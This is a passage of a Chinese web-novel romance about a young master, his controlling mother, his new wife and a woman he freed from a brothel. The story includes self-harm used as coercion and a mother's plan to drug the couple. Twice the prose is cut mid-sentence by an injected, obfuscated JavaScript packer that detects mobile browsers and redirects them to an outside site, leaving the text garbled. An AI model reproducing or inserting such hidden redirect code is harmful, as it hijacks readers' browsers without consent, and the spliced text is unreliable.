肖母脚步一顿,眼中满是哀求,几步走到肖晨面前,伸手想要拉住他的手,声音带着哭腔说道:“儿子,你跟母亲回去吧。以后你说什么母亲都听,再也不强迫你做任何事了。母亲不能没有你啊,这些日子找不到你,母亲度日如年。” 肖晨微微别过头,避开母亲的目光,心中五味杂陈。“母亲,您知道我为何要离开。在那个家里,我没有自由,连自己的感情都无法主宰。” 肖母连连点头,满脸懊悔:“母亲知道错了,以前是母亲糊涂,只想着家族的颜面,没考虑你的感受。这次你跟母亲回去,母亲一定改。”说着,她看向站在一旁的玉溪,眼中闪过一丝复杂的神色,但很快又换上了温和的表情,“这位姑娘,之前是老身对不住你,若你愿意,也可跟我们一同回肖家,老身定会好好待你。” 玉溪微微一愣,下意识地看向肖晨。肖晨眉头微皱,他深知母亲此举不过是权宜之计,回到肖家,诸多规矩礼教依旧会成为他和玉溪之间的阻碍。“母亲,事情没那么简单。就算您现在答应,回到肖家,一切恐怕又会回到从前。” 肖母扑通一声跪在肖晨面前,泣不成声:“儿子,母亲对天发誓,若有违背今日所言,天打雷劈。你就可怜可怜母亲,跟母亲回去吧。” 肖晨见状,心中一阵刺痛,赶忙扶起母亲:“母亲,您这是做什么。”看着母亲如此模样,肖晨心中的坚冰开始有些松动,可他又实在放心不下玉溪,也担心回去后重陷牢笼。一时间,他陷入了两难的抉择,不知该何去何从…… 肖母泪流满面,紧紧拉住肖晨的手,悲切地说道:“儿子,你这一走,可把我们的心都掏空了。你想过我们怎么办吗?你的妻子每日以泪洗面,茶饭不思,她是无辜的呀。” 肖晨心中一滞,妻子的面容在脑海中一闪而过,心中不禁泛起一丝愧疚。但想到过往那些压抑的日子,他还是咬了咬牙,说道:“母亲,我可以跟您回去,但是您得跟我保证,不能再看不起我的朋友,尤其是玉溪。她于我有恩,若没有她,您恐怕再也见不到儿子了。” 肖母赶忙点头,忙不迭地应道:“行,儿子,母亲答应你。只要你肯回来,母亲绝不再为难这位姑娘,定会把她当成上宾对待。” 肖晨转头看向玉溪,眼中满是担忧与询问。玉溪微微颔首,轻声说道:“公子,若您决定回去,玉溪自当支持。只是往后,您万事都要小心。” 肖晨凝视着玉溪,认真地说:“玉溪,你放心。若母亲食言,我定会护你周全。”随后,他又看向肖母,严肃地重复:“母亲,您记住今日所言,莫要让儿子失望。” 肖母连连称是,生怕肖晨反悔。就这样,肖晨在历经波折后,决定跟随母亲回到肖家。一路上,肖晨的心情无比沉重,他不知道等待自己和玉溪的将会是什么,只暗暗握紧了拳头,下定决心,无论如何,都要守护住自己在意的人,守护那份来之不易的自由与情谊…… 一行人踏上归程,一路风尘仆仆。回府的路途漫长而颠簸,肖晨在连日的奔波与精神折磨下,身体和心灵都疲惫不堪。而玉溪始终不离不弃地守在他身边,悉心照料。 马车在崎岖的道路上摇晃前行,肖晨靠在车厢壁上,双眼紧闭,面色略显苍白。玉溪心疼地看着他,不时伸手为他掖好滑落的毯子,又倒了些水,轻声呼唤:“公子,喝点水吧。”肖晨缓缓睁开眼睛,接过水杯,微微抿了几口,干裂的嘴唇才稍显润泽,他低声说道:“玉溪,辛苦你了。”玉溪温柔地摇摇头,眼中满是关切:“公子别这么说,您好好休息便是。” 夜晚投宿客栈时,玉溪细心地为肖晨打来热水,让他洗漱解乏。待肖晨躺下后,她也不敢睡熟,只要肖晨稍有动静,便立刻起身查看。就这样,在玉溪无微不至的照顾下,肖晨的精神逐渐好了起来。 终于,一行人抵达了肖家府邸。朱红色的大门庄重而威严,肖晨望着这熟悉又压抑的地方,心中五味杂陈。肖母率先走进府中,肖晨深吸一口气,与玉溪并肩踏入。 府里的下人们见少爷归来,纷纷围上来行礼。肖晨的妻子李傲雪也匆匆赶来,看到肖晨的那一刻,泪水夺眶而出:“少爷,您可算回来了。”肖晨看着她,心中既有愧疚又有疏离,只是淡淡地应了一声。 肖母转身看向玉溪,脸上挤出一丝笑容:“姑娘,这一路辛苦你照顾晨儿了。往后啊,你就安心在府里住下。”玉溪微微福身,轻声说道:“多谢老夫人。”然而,玉溪心中明白,这肖府看似平静,实则暗流涌动,自己与肖晨的未来,依旧充满了未知与挑战…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993173|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李傲雪目光落在玉溪身上,眼中闪过一丝诧异与打量,轻声问道:“少爷,这位姑娘是?” 肖晨坦然迎上李傲雪的目光,说道:“这是我从香满楼赎身出来的姑娘,叫玉溪。她是我的好朋友,在我离家这段日子,多亏有她相伴照顾。” 李傲雪微微点头,嘴角勉强扯出一抹微笑,“原来如此,辛苦玉姑娘了。既是少爷的朋友,往后在府里但有什么需求,尽管开口便是。”话虽如此,可她心中难免泛起一丝复杂情绪,毕竟自家相公从青楼赎出女子,还这般袒护,任谁心里都不会毫无波澜。 玉溪感受到李傲雪目光中的审视,心中一紧,忙福身行礼:“多谢少夫人,玉溪不过做了些力所能及之事。在这府中,若有叨扰之处,还望少夫人海涵。” 肖晨看着两人,心中有些无奈,他深知这局面尴尬,却又不知如何化解。“傲雪,玉溪心地善良,你二人往后还望能和睦相处。” 李傲雪垂眸,掩去眼中情绪,乖巧应道:“少爷放心,傲雪理会得。”只是那笑容未达眼底,而玉溪心中也隐隐担忧,不知在这肖府,自己与肖晨的平静日子还能维持多久。 肖母见儿子已然归来,脸上闪过一丝如释重负的神情,旋即脸色一沉,吩咐下人将大门关上。她缓缓转过身,目光落在肖晨身上,语气不容置疑:“儿子,你回来了就不要再出去了。家里有诸多事务等着你打理,你也该收收心了。” 肖晨心中一紧,预感不妙,还未等他开口,肖母又将目光移向玉溪,眼神中满是嫌弃与排斥:“至于这位姑娘,可不能留在我们家里。我们肖家是有头有脸的人家,怎能容一个从青楼出来的女子住下,传出去还不知被人怎样诟病。” 肖晨急忙上前一步,挡在玉溪身前,着急地说道:“母亲,您怎能如此?当初您可是答应了我,不会为难玉溪。她对我有恩,在外面若不是她照顾我,我怎能平安回来。” 肖母眉头紧皱,提高了音量:“我那是为了劝你回来才暂且答应。如今你既已回府,就该守肖家的规矩。一个青楼女子,终究登不得大雅之堂,留在府中只会败坏门风。” 玉溪心中一阵刺痛,她咬了咬嘴唇,眼眶泛红,轻声说道:“公子,老夫人说得对,玉溪本就不该留在此处。玉溪这就走,不连累您和肖家。”说罢,转身便要离去。 肖晨一把拉住玉溪,看向肖母,眼神坚定:“母亲,若您执意要赶玉溪走,儿子也绝不留下。大不了,儿子再与玉溪离开这肖家。” 肖母气得浑身发抖,手指着肖晨,声音颤抖地说:“你……你竟然为了一个青楼女子,如此忤逆我!你眼里还有没有我这个母亲,还有没有肖家?” 李傲雪在一旁看着这剑拔弩张的场面,心中纠结万分。她既不想丈夫因为这个女子再次离家,又觉得婆婆此举似乎有些不近人情。犹豫片刻后,她上前轻声劝道:“婆婆,少爷刚回来,一家人好不容易团聚,莫要为了此事伤了和气。依儿媳看,不如先让玉姑娘留下,权当是报答她对少爷的救命之恩,日后再做打算,您看如何?” 肖母脸色铁青,固执地喝道:“那可不行!你们给我把少爷抓起来,把这姑娘从哪里来送到哪里去!” 话音刚落,几个家丁便犹豫着上前,试图按住肖晨。 肖晨用力挣脱,大声喊道:“母亲,您不能这样!玉溪她善良无辜,何错之有?您为何如此容不下她!”他心急如焚,目光中满是愤怒与不解,直直地盯着肖母。 玉溪泪流满面,看着这混乱的场景,心如刀绞。她不想因为自己让肖晨与母亲彻底决裂,哭着对肖晨说:“公子,您别为难了,玉溪走便是。只要您能平安,玉溪去哪儿都可以。” 肖晨怎肯罢休,伸手紧紧拉住玉溪,对着肖母苦苦哀求:“母亲,求您了。玉溪出了这门,不知又要遭受多少苦难。您若实在容不下她,儿子愿与她一同离开,从此不再回肖家。” 肖母被气得浑身颤抖,手指着肖晨,语不成声:“你……你这个不孝子!为了一个外人,竟要抛弃肖家,抛弃你的妻子!” 李傲雪也慌了神,再次劝道:“婆婆,少爷心意已决,您若强行赶走玉姑娘,只怕少爷真会做出过激之事。不如暂且留下她,再从长计议。” 肖母怒目圆睁,对着家丁们吼道:“你们还愣着干嘛,还不快把少爷抓起来,把她给我赶走!” 肖晨毫不退缩,张开双臂将玉溪紧紧护在身后,大声喝道:“谁敢动我的朋友!”眼神中满是决然,仿佛下一秒就会与试图靠近的人拼命。 肖母被肖晨的反抗彻底激怒,她几步冲到一旁,抄起一根鸡毛掸子,对着肖晨和玉溪挥舞着,声嘶力竭地喊道:“你要是敢维护她,我就打死她!”那模样几近癫狂,完全没了平日里当家主母的威严。 玉溪吓得脸色惨白,身体止不住地颤抖,但仍紧紧拽着肖晨的衣角,不愿离去。肖晨则死死盯着肖母,眼眶通红,“母亲,您若伤她一分一毫,儿子定不原谅您!” 一旁的李傲雪吓得花容失色,赶忙冲上前去,试图阻拦肖母,“婆婆,使不得啊!您消消气,这样会出人命的!” 然而,肖母此时已丧失理智,根本听不进去劝,依旧挥舞着鸡毛掸子,口中念念有词:“反了反了,为了个外人竟敢这般忤逆我!” 家丁们面面相觑,谁也不敢贸然上前。他们既畏惧肖母的怒火,又忌惮肖晨那决然的眼神。 肖晨见母亲如此疯狂,心急如焚之下,毫不犹豫地抽出腰间短刀,在自己手臂上狠狠划了一道。顿时,鲜血汩汩流出,染红了他的衣袖。 他紧握着滴血的刀,声音颤抖却又无比坚定地说道:“母亲,您要是再敢侮辱我的朋友,我就只能伤害自己。玉溪于我有恩,是我在这世上重要之人,您若容不下她,我也绝无活下去的念头!” 肖母被这突如其来的一幕吓得愣住了,手中的鸡毛掸子“啪嗒”一声掉落地上。她瞪大双眼,看着儿子手臂上不断涌出的鲜血,嘴唇颤抖着,一时间竟说不出话来。 李傲雪更是吓得捂住嘴巴,眼眶泛红,焦急地喊道:“少爷,您这是何苦啊!”说着,她赶紧吩咐下人去拿医药箱。 玉溪见状,心疼得泪如雨下,伸手想要去查看肖晨的伤势,却又怕碰到伤口,只能哭着说:“公子,您这是做什么呀,玉溪不值得您这样……” 肖晨看着母亲,目光中满是悲戚与决绝:“母亲,我只求您能接纳玉溪,莫要再为难她。若您执意如此,我便只能以死相逼。” 肖母如梦初醒,泪水夺眶而出,她跌跌撞撞地走到肖晨面前,泣不成声:“晨儿,你这是要逼死为娘啊!好好好,我答应你,不再赶她走,也不再为难她,你快把刀放下啊!” 肖晨忍着手臂上传来的剧痛,转头温柔地看向玉溪,目光坚定无比:“玉溪,别怕,有我在,没有人可以为难你。”他的声音因失血而略显虚弱,却透着一股不容置疑的力量。 随后,他缓缓将目光移向肖母,脸上的神情瞬间变得冷峻,语气森然地说道:“母亲,我的朋友,谁也不可以侮辱。今日我已做出退让,您也答应不再为难玉溪。倘若日后再让我听到半句侮辱她的言语,就不是这般简单了。儿子不想与您闹得这般不愉快,但为了保护玉溪,我什么都做得出来。” 肖母看着浑身带血、眼神决绝的儿子,心中一阵后怕。刚刚那一幕太过惊险,她真怕儿子一时冲动做出不可挽回的事。此时的她,再也没了之前的强硬,只能含泪点头:“晨儿,你别再说了,母亲答应你便是。” 李傲雪在一旁看着这一切,心中五味杂陈。她既心疼丈夫受伤,又无奈于眼前复杂的局面。见气氛稍有缓和,她赶忙上前,轻声劝道:“少爷,您先包扎伤口吧,别再动气了。婆婆,大家都是一家人,往后和和气气的多好。” 肖晨这才缓缓放下手中的刀,任由下人扶着坐下,让赶来的郎中为自己处理伤口。玉溪则守在一旁,看着郎中为肖晨上药包扎,眼泪止不住地流。她满心自责,若不是因为自己,肖晨也不会与母亲闹到如此地步。 经过这场风波,肖府的气氛变得格外压抑。但肖晨知道,他必须为玉溪争取一席之地,往后的日子,他会更加小心地守护她,绝不让任何人再伤害她分毫…… 13. 你喜欢什么样的人 肖晨看着泪流不止的玉溪,强忍着伤口的疼痛,抬起未受伤的手,轻轻擦去她脸颊上的泪水,柔声说道:“玉溪,你不要哭了。往后你可以安心留在这里,府里活计多,你若想找点事做,也能打发时间。要是以后你有了更好的去处,想去别的地方生活,一定要告诉我,无论如何,我都会支持你。” 玉溪微微点头,哽咽着说:“公子,玉溪知道您是为我好。只是玉溪给您添了太多麻烦,还害得您与老夫人起了这么大的冲突……” 肖晨轻轻摇头,打断她的话:“玉溪,你别这么说。若不是你一路相伴,我不知会遭遇什么。你对我的情谊,我一直都记在心里。这是我该做的,与你无关。” 一旁处理完伤口的郎中收拾好药箱,叮嘱道:“少爷,伤口需悉心照料,切勿沾水,定时换药,以免感染。”肖晨应了一声,待郎中离开后,又看向玉溪,目光中满是关切:“你也别太忧心,往后在这府里,我会护你周全。若有人敢刁难你,你只管告诉我。” 玉溪感激地看着肖晨,“嗯,玉溪明白。公子您自己也要多注意身体,伤口千万别再裂开了。” 此时,李傲雪端着一碗热气腾腾的补汤走进来,笑着说道:“少爷,喝碗汤补补身子吧。玉姑娘,你也别太自责了,少爷既然决定留下你,往后大家就是一家人,和和气气的才好。” 肖晨接过汤碗,浅尝了一口,对李傲雪说道:“多谢夫人。”李傲雪看着肖晨和玉溪,心中虽仍有些不是滋味,但还是说道:“都是一家人,客气什么。玉姑娘初来乍到,若有什么不懂的,尽管问我便是。” 玉溪微微福身,轻声说道:“多谢少夫人,玉溪日后定会麻烦您。” 肖晨转头叫来身旁的丫鬟,认真吩咐道:“你去带玉溪姑娘换身干净衣服,她一路奔波,想必衣物都脏了。再准备些可口的饭菜和热茶,让她暖暖身子。另外,去收拾一间干净舒适的房子,要离我院子近些,给玉溪姑娘住下。” 丫鬟恭敬地应了一声“是”,便走到玉溪身旁,轻声说道:“玉姑娘,请随我来吧。”玉溪看向肖晨,眼中满是感激与不舍,“公子,您好好养伤,玉溪先随这位姑娘去了。”肖晨微微点头,“去吧,有什么事尽管吩咐下人。” 玉溪跟着丫鬟离开后,李傲雪在一旁轻声说道:“少爷对这位玉姑娘,还真是关怀备至。”话一出口,她便意识到不妥,微微低下头,掩饰自己的情绪。 肖晨听出了李傲雪话中的意味,无奈地叹了口气,说道:“夫人,玉溪于我有恩,我不过是略尽地主之谊。她一个女子,孤苦无依,我总不能眼睁睁看着她流落街头。还望夫人莫要多想,大家往后和平相处便是。” 李傲雪抬起头,挤出一丝笑容,“少爷放心,傲雪明白事理。只是这府里规矩多,就怕玉姑娘一时间适应不来。” 肖晨说道:“夫人若有闲暇,还望多指点玉溪一二,莫让她因不懂规矩而受委屈。”李傲雪点点头,“少爷吩咐,傲雪自会尽力。” 另一边,丫鬟带着玉溪来到一处厢房。房间布置得简洁雅致,床铺柔软整洁。丫鬟转身去取来一套崭新的衣物,说道:“玉姑娘,您先洗漱换装,饭菜和热茶稍后便来。”玉溪接过衣物,感激地说道:“多谢姑娘,劳烦你了。” 丫鬟笑着摇摇头,退了出去。玉溪看着手中的衣服,心中感慨万千。她深知自己在这肖府的日子不会平静,但只要能留在肖晨身边,她便觉得安心。稍作整理后,饭菜和热茶也送了进来。玉溪坐在桌前,吃着可口的饭菜,喝着温热的茶水,感受着这难得的温暖与安宁…… 李傲雪微微垂眸,犹豫片刻后,轻声问肖晨:“少爷,以后您打算就把她一直留在府里?难道……没有纳妾的想法吗?”她声音极轻,却透着难以掩饰的在意。 肖晨微微皱眉,认真说道:“我现在没有这样的想法。玉溪只是我的朋友,在我心中,她是在艰难时刻陪伴我的挚友,绝非其他。夫人,你怎么会有此问?” 说罢,肖晨似突然想起什么,疑惑道:“只是你怎么在这里?你那天不是说要离开肖府吗?” 李傲雪心中一酸,眼眶微红,抬起头说道:“少爷,那日我是一时气话。这里是我的家,我又能去哪呢?况且,我与少爷夫妻一场,怎能说走就走。只是看到少爷对玉姑娘这般上心,我心里难免……”她没有再说下去,只是轻轻咬着嘴唇。 肖晨心中有些愧疚,缓了缓语气说道:“夫人,是我疏忽了你的感受。但我与玉溪之间真的清清白白,只是纯粹的朋友情谊。你我夫妻刚成家,还望你能理解。往后,我也会多注意分寸。” 李傲雪轻轻点头,“少爷能这么说,傲雪便放心了。只是这府里人多嘴杂,玉姑娘的事,还望少爷能处理妥当,莫要让外人说三道四。” 肖晨应道:“夫人所言极是,我会安排好一切。也希望夫人能多担待,与玉溪和睦相处,莫要让我为难。”李傲雪微微颔首,“少爷放心,傲雪省得。” 肖晨神色有些疲惫与无奈,听到李傲雪的话后,缓缓说道:“你们能这么想自然最好。” 李傲雪脸颊微微泛红,眼中带着一丝期待,轻声问道:“少爷,我们刚成亲不久,如今你回来了,我们是否能完成圆房之事?” 肖晨听后,眉头皱得更紧,语气中透着烦躁与不耐:“小姐姐,怎么这么急?我现在实在没心思碰你。你是知道的,这一路经历诸多波折,我身心俱疲,况且又因玉溪的事和母亲闹得不愉快,哪还有这般心情。” 李傲雪听闻,心中一阵失落,眼眶瞬间红了,声音带着哭腔说道:“少爷,自我们成亲以来,聚少离多。如今好容易盼您回来,您却……难道在少爷心中,我就如此无足轻重吗?” 肖晨看着李傲雪落泪,心中有些不忍,但此刻他实在无法顺从李傲雪的心意,缓了缓语气说道:“夫人,你莫要误会。我并非觉得你无足轻重,只是当下事情繁多,我实在无法分心。待过些时日,一切安稳下来,我们再谈此事,可好?” 李傲雪咬着嘴唇,默默点了点头,转身用手帕轻轻拭去泪水,低声说道:“那……就依少爷所言吧。” 肖母迈着步子走进房来,一眼就瞧见李傲雪眼眶泛红,正默默垂泪,不由得眉头一皱,说道:“你哭什么,看到你男人回来了,不会摆着笑脸?成何体统!” 肖晨见母亲如此,心中烦闷更甚,忍不住说道:“您别说傲雪了,能不能消停点啊!整天吵闹,家宅不宁。这样下去,还不如分开住,落得个清净!” 肖母一听,脸色瞬间变了,又惊又怒,指着肖晨道:“你这说的是什么话!我辛辛苦苦操持这个家,为了你忙前忙后,如今你倒好,为了个外人,要和我分开住?” 肖晨长叹一口气,说道:“母亲,我并非为了外人。只是您看看,这家里如今成了什么样子,三天两头就闹得鸡飞狗跳。玉溪她并无过错,您却容不下她;傲雪她也委屈,我夹在中间左右为难。这样的日子,何时是个头?” 李傲雪见肖晨和肖母起了争执,心中担忧,赶忙劝道:“少爷,婆婆,你们都别再说了。都是傲雪不好,不该在少爷面前落泪,惹得大家不愉快。” 肖母冷哼一声,别过头去:“哼,我还不是为了你好,怕你被那青楼女子迷了心智,做出糊涂事,败坏了肖家名声。” 肖晨看着母亲,眼神恳切:“母亲,玉溪虽出身青楼,但她心地善良,和我只是纯粹的朋友关系。您就别再为难她了,也别再让傲雪受委屈,一家人好好过日子不行吗?” 肖母沉默片刻,缓缓说道:“罢了罢了,我也不想和你争执。只是这女子留在府里,你务必约束好她的行为,别让她做出有辱家门之事。” 肖晨点头道:“母亲放心,我自会处理好。” 一场风波看似暂时平息,可肖家众人心中的芥蒂,却不知何时才能真正消散,未来的日子依旧充满了未知与隐忧。 肖母转头看向李傲雪,脸上的神情稍缓,却仍带着几分严肃,叮嘱道:“傲雪啊,你可得好好伺候你男人。别忘了我之前交代你的事情,抓紧时间圆房。男人嘛,身边有个把女人陪着也不是大事,只要你把住正室的位置,其他的睁只眼闭只眼便罢了。咱们肖家可就指望你们开枝散叶呢。” 李傲雪脸色微微一白,心中满是苦涩,却只能强颜欢笑地应道:“儿媳明白,婆婆放心,傲雪会尽力的。” 肖晨听了母亲这话,心中一阵厌烦,皱眉说道:“母亲,您这说的是什么话。我与傲雪夫妻之间的事,自有我们自己的打算,您就别再插手了。而且我已说过,玉溪只是我的朋友,并无其他关系。您总这般言语,让傲雪心里怎么想?” 肖母不以为然地摆摆手,说道:“我这还不是为了你们好。你也老大不小了,肖家也该有后了。你看看哪家大宅门里,男人不是三妻四妾的,这有什么大惊小怪。” 肖晨无奈地叹口气,深知与母亲一时半会说不清楚,只能说道:“母亲,时代不同了,如今并非所有人家都如此。我只愿与傲雪好好过日子,至于其他,还请您别再提了。” 肖母见儿子态度坚决,也不好再说什么,只是又看了眼李傲雪,说道:“傲雪,你多上点心。”随后转身离开房间。 李傲雪看着肖晨,眼中满是委屈与无奈,轻声说道:“少爷,婆婆的意思,您也听到了。只是……只是您若实在不愿与我圆房,傲雪也不会强求,只是怕婆婆怪罪……” 肖晨看着李傲雪楚楚可怜的模样,心中泛起一丝愧疚,轻声安慰道:“傲雪,委屈你了。只是当下我实在没这心情,你且给我些时间。母亲那边,我会想办法与她沟通,你别太有压力。”李傲雪微微点头,泪水在眼眶里打转,却强忍着不让它落下。 肖晨一脸认真,望着李傲雪缓缓说道:“要不你等我两年,等我成年了再说。这两年时间,谁也说不准会发生什么,到时候或许你也能碰到合适的人。”他心中满是纠结,既想尊重李傲雪,又实在对当下圆房之事有心结。 李傲雪一听,顿时慌了神,眼眶通红,急忙伸手抓住肖晨的衣袖,带着哭腔说道:“少爷,不要再说这些话了。我不在乎你身边有谁,真的,我只求你不要抛弃我。要是您不要我了,我在这世上便没了依靠,只有死路一条啊。”她心中恐惧万分,生怕肖晨就此离她而去,那她在这深宅大院里将再无容身之地。 肖晨看着李傲雪如此悲切,心中一阵刺痛,忙说道:“傲雪,你别这么说,我怎会抛弃你。只是我如今实在心乱如麻,难以顾及此事。你放心,我会对你负责,只是希望你能理解我,给我点时间。” 李傲雪哭着点头,“少爷,傲雪理解您,傲雪等您,您别不要我就好。”说罢,她用手帕轻轻擦拭眼泪,可泪水还是止不住地流。 肖晨无奈地叹了口气,轻轻拍了拍李傲雪的肩膀,试图安抚她的情绪,“好了,别哭了。你先回房休息,我想一个人静一静。这家里的事,我会好好处理,不会让你受委屈。” 李傲雪满眼泪水,执拗地说道:“少爷在哪里,我就在哪里。我是你的妻子,哪有自己回房间的道理。您这样,是不是真的很讨厌我呀?”她的目光中满是委屈与不解,死死地盯着肖晨,仿佛要从他眼中寻出答案。 肖晨一脸无奈,他实在拿李傲雪这副模样毫无办法。看着她哭得梨花带雨,心中又不忍太过强硬,只能轻声说道:“傲雪,我没有讨厌你,只是此刻我想一个人静静,理清这些乱糟糟的事。你在这儿,我静不下心。” 李傲雪咬着嘴唇,犹豫片刻后,依旧不肯妥协:“少爷,您有什么烦心事,说与傲雪听便是,傲雪愿意与您一同分担。您独自承受,让傲雪心疼。”她紧紧拽着肖晨的衣角,生怕一松手,肖晨就会消失不见。 肖晨长叹一口气,深知李傲雪的性子,一时半会儿是劝不走她了。他只得坐下来,揉了揉太阳穴,缓缓说道:“傲雪,你也看到了,母亲和玉溪之间矛盾颇深,我夹在中间左右为难。再者,家里这些事,让我心烦意乱,实在没心思考虑其他。” 李傲雪听了,心中微微一酸,但还是说道:“少爷,关于玉姑娘,只要她守好本分,傲雪不会为难她。婆婆那边,傲雪也会找机会劝劝,您别太忧心了。” 肖晨抬眸看着李傲雪,眼中闪过一丝诧异与感动,没想到李傲雪能说出这番话。他轻轻握住李傲雪的手,说道:“傲雪,难为你能这么想,是我之前对你关心不够。只是,这事情没那么简单,还需从长计议。” 李傲雪微微点头,靠在肖晨肩头,轻声说道:“少爷,不管怎样,傲雪都会一直陪着您。咱们夫妻二人,共同面对便是。 肖晨看着如此执着又深情的李傲雪,心中一阵触动,不由自主地轻轻抱住了她,柔声道:“傲雪,你不用这样,我知道你心意。” 李傲雪感受到肖晨主动的拥抱,心中满是欢喜,脸上泪痕未干,却已泛起红晕。她顺势更贴近肖晨,将头埋在他怀里,轻声说道:“少爷,只要您明白傲雪的心就好。” 而此时,玉溪放心不下肖晨的伤势,想着过来看看。她轻轻推开房门,刚一迈进门口,便看到肖晨与李傲雪二人这般亲密的画面。她顿时愣在原地,脸上的关切瞬间凝固,眼中闪过一丝慌乱与失落。 片刻后,玉溪回过神来,意识到自己贸然闯入有些唐突,赶忙垂下眼眸,嗫嚅道:“对……对不起,我不知你们……我这就走。”说罢,她急忙转身,匆匆离开,生怕再多停留一秒会打扰到他们。 肖晨听到声响,抬眼看到玉溪离去的背影,心中“咯噔”一下。他想叫住玉溪解释,可又觉得此时李傲雪在怀,场面尴尬,一时竟不知如何是好。 李傲雪察觉到肖晨的异样,顺着他的目光看去,见玉溪已离开。她心中虽有些得意,但也担心此举会让肖晨不快,于是轻声问道:“少爷,是不是玉姑娘来了?要不……我去把她叫回来?” 肖晨摇摇头,神情有些复杂,说道:“算了,她应该只是来看看我伤势。等会儿我去解释吧,别让她误会了。” 房间里气氛再度变得微妙起来,刚刚缓和的氛围,因玉溪这一遭,又添了几分难以言说的隐忧。 肖晨见玉溪离去,刚泛起追出去解释的念头,可转瞬又觉有些不对。他暗自思忖,自己与玉溪不过是纯粹的朋友情谊,有什么可解释的呢?想到这儿,心里那股着急劲儿顿时消散了不少。 李傲雪一直留意着肖晨的神情变化,见他没有立刻起身去追玉溪的意思,心中暗暗松了口气。她抬起头,眼神中满是期待,小心翼翼地问道:“少爷,我能晚上留在这里陪你吗?” 肖晨有些疲惫,实在不想再为这些事费神,犹豫了一下,还是说道:“好吧。” 李傲雪闻言,脸上立刻绽放出欣喜的笑容,她紧紧依偎在肖晨身旁,说道:“少爷,您放心,傲雪会一直陪着您,不会让您心烦。” 肖晨轻轻应了一声,思绪却有些飘忽。他深知,虽然自己对玉溪只是朋友之情,但刚刚那一幕,只怕还是会让玉溪心里不好受。而李傲雪,对自己一片深情,自己也不能辜负。只是这肖府之中,母亲、李傲雪与玉溪之间的关系错综复杂,日后该如何妥善处理,着实让他头疼不已。 夜晚,明月高悬。肖府的这间房里,李傲雪躺在肖晨身旁,脸上洋溢着幸福。而肖晨望着床顶,久久未能入眠,在这寂静的夜里,他的心中却如翻江倒海一般,思索着未来该如何面对这纷繁的一切。 玉溪独自一人回到房间,刚刚看到肖晨与李傲雪亲密相依的画面,始终在她脑海中挥之不去,心就像被一只无形的手紧紧揪住,疼得厉害。 她呆呆地坐在床边,望着桌上摇曳的烛火,泪水在眼眶里打转。她不得不承认,肖晨和李傲雪站在一起,的确般配,一个是俊朗不凡的少爷,一个是温婉端庄的少夫人,门当户对。 反观自己,出身低微,不过是曾流落风尘之人。虽与肖晨有着患难与共的情谊,可在世俗眼光里,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993174|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎能与李傲雪相比。她满心苦涩,自嘲地笑了笑,觉得自己方才的失落实在有些多余。人家本就是名正言顺的夫妻,自己又算什么呢? 玉溪轻轻抹去眼角的泪,暗暗告诉自己,肖晨能有安稳的生活便好。自己在这府中,能有一处容身之地,已是肖晨的恩赐。往后,便只做好朋友该做的,不去逾越那不该有的界限,也不再让自己徒增烦恼。可即便这般安慰自己,心中那丝丝缕缕的疼痛,却依旧如影随形,伴着摇曳的烛火,在这寂静的夜里,萦绕不去。 李傲雪慵懒地躺在肖晨怀里,脸上带着一抹娇羞,轻声问道:“少爷,你喜欢什么样的人呀?” 肖晨微微一怔,思绪飘远,缓缓说道:“我喜欢好看的,能懂我,爱我的人。可……只是我不能爱你和任何女子。”他的声音里透着一丝无奈与疲惫。 李傲雪听了这话,心中一紧,抬起头,难以置信地看着肖晨,眼中满是受伤与疑惑:“少爷,为何不能爱我?我自与您成亲以来,事事以您为先,满心满眼都是您,难道还不够懂您,不够爱您吗?” 肖晨避开李傲雪的目光,心中有些不忍,却还是说道:“傲雪,你很好,对我也的确全心全意。只是,我心中总有种莫名的压抑,或许是这深宅大院的规矩,或许是种种纷扰之事,让我觉得自己难以全身心地去爱一个人。我并非有意冷落你,只是当下实在无法给予你想要的爱。” 李傲雪的泪水在眼眶里打转,声音带着哭腔说道:“少爷,难道就没有办法改变吗?我们是夫妻,本应相互扶持,相濡以沫。难道您就忍心让傲雪一直这样,守着一份没有爱的婚姻吗?” 肖晨轻轻叹了口气,将李傲雪重新揽入怀中,说道:“傲雪,我也不想如此。只是我现在心乱如麻,给不了你确切的答案。你且容我一段时间,让我好好理清这些思绪,好吗?” 李傲雪在肖晨怀里轻轻点头,泪水却忍不住滑落,浸湿了肖晨的衣衫。在这寂静的夜里,两人各怀心事,相拥而卧,却又仿佛隔着一道无形的墙,不知何时才能真正走进对方心里。 肖母瞧着儿子和儿媳这别扭的状态,心里愈发着急,暗自觉得不能再这样下去了。于是,她暗中吩咐下人去准备迷香,盘算着要促成儿子儿媳圆房,好让肖家早日开枝散叶。 第二天,肖母差人把李傲雪叫到跟前。李傲雪规规矩矩地行了礼,肖母上下打量她一番,单刀直入地问道:“你们昨天还没有圆房吧?” 李傲雪一听,脸颊瞬间涨得通红,头垂得更低了,嗫嚅着说:“回婆婆,还……还没有。” 肖母眉头一皱,脸上露出不悦之色,说道:“这都成婚多久了,怎么还没圆房?晨儿他到底是怎么想的!” 李傲雪心中委屈,却又不敢抱怨,轻声说道:“婆婆,少爷他……他心里似乎有诸多烦忧,一直没能……” 